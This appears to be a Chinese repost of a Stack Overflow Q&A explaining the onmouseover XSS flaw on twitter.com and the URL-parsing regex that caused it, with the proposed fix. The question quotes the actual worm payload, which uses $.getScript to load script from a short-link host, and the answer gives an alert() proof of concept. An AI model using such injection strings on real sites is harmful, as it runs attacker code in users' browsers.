gpt4 book ai didi

javascript - 今天在 twitter.com 上的 XSS onmouseover 漏洞

转载 作者:IT王子 更新时间:2023-10-29 02:59:07 28 4
gpt4 key购买 nike

您能解释一下今天在 Twitter 上到底发生了什么吗?基本上,该漏洞导致人们发布包含此链接的推文:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

这在技术上是 XSS 攻击还是其他什么?

这是 Twitter 主页的样子:http://www.flickr.com/photos/travelist/6832853140/

最佳答案

漏洞是因为 URL 没有被正确解析。例如,将以下 URL 发布到 Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter 将其视为 URL。当它被解析时,Twitter 会围绕该代码包装一个链接,因此 HTML 现在看起来像:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

您可以看到,通过输入 URL 和尾部斜杠,Twitter 认为它有一个有效的 URL,即使它包含一个允许它转义的引号(即终止 href 属性,对于那里的学究)URL 属性并包含鼠标悬停。您可以向页面写入任何内容,包括关闭链接和包含脚本元素。此外,您不受 140 个字符的限制,因为您可以使用 $.getScript()

This commit,如果它被拉取,就可以防止这个 XSS 漏洞。

详细来说,有问题的正则表达式是:

REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
@[^\/]+\/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

@[^\/]+\/ 部分以 @ 符号为前缀并以正斜杠作为后缀时,它允许任何字符(正斜杠除外)。

通过更改为 @#{REGEXEN[:valid_general_url_path_chars]}+\/,它现在只允许有效的 URL 字符。

关于javascript - 今天在 twitter.com 上的 XSS onmouseover 漏洞,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3762746/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com